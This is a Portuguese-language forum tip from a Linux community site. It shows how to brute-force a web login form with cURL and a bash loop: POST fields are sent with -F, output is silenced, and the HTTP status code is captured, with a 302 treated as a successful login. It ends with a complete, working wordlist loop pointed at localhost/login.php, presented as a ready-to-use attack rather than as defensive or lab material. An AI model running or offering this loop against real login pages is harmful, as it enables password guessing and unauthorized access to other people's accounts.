cURL - Brute-force em aplicações Web

Publicado por Perfil removido em 01/05/2013

[ Hits: 14.568 ]

 


cURL - Brute-force em aplicações Web



Estava pesquisando sobre o cURL, e tive a ideia de fazer um brute-force em shell script, mas como eu já fiz isso, resolvi somente testar os comandos.

Primeiro, iremos ver algumas opções de linha de comando do cURL:

curl -h
Usage: curl [options...] <url>
 -F/--form <name=content> Specify HTTP multipart POST data (H)
 -o/--output <file> Write output to <file> instead of stdout
 -s/--silent        Silent mode. Don't output anything
 -w/--write-out <format> What to output after completion

Ressaltei essas funções, pois serão necessárias para o ataque de brute-force.

Entendo as opções:

1. As opções "-s" e "-o" são para não exibirem o conteúdo HTML do request; iremos mandar essa saída de comando para o /dev/null.

2. O comando "-F" funciona para enviar os parâmetros através de "POST request".

Exemplo:

curl -F teste=enviando-post localhost/teste.php
3. E por último, a opção "-w", usaremos essa opção para descobrir o status code do request, levando em consideração que a maioria dos sistemas de login, quando se faz o login corretamente, redirecionam para outra página (302).

Exemplo:

curl -w "%{http_code}" localhost/lol
No final da saída do comando, obtemos o número 404 (Not Found).

Fazendo o ataque

Agora iremos proceder para o ataque de brute-force. Primeiro, temos que saber quais os nomes dos campos que iremos enviar pelo POST request.

Exemplo: login, password, log, passwd, user, etc.

Tendo essas informações, iremos transformar a saída do comando em uma variável.

Exemplo:

curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
A saída do comando foi 302 (redirecionamento), iremos guardar esse saída na variável "login":

login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)

Agora, para proceder com o ataque de "word list" iremos usar o "for" para ler um arquivo linha por linha.

Exemplo:

for i in `cat /etc/passwd`;do echo $i; done

Nosso comando final ficará assim:
for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto, você já estará fazendo um ataque de brute-force através de uma "word list", usando o terminal.

Espero que tenham gostado da dica.
[]'s

Dica também publicada em:
Outras dicas deste autor

Gtkterm, um saída para o Hyperterminal

Limitando a banda no download de arquivos no Apache 2.0

Ubuntu sem sudo

Ativando a rede no Fedora Core

Dica ao compilar kernel

Leitura recomendada

FFmpeg: screencast do desktop gravando duas fontes de áudio simultaneamente

cointop - monitore a cotação de criptomoedas via terminal

Script para redimensionar muitas fotos

HD externo em EXT4 com a praticidade da NTFS - FUSB

Letras Bacanas no seu Shell Script sem Figlet

  

Comentários

Nenhum comentário foi encontrado.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts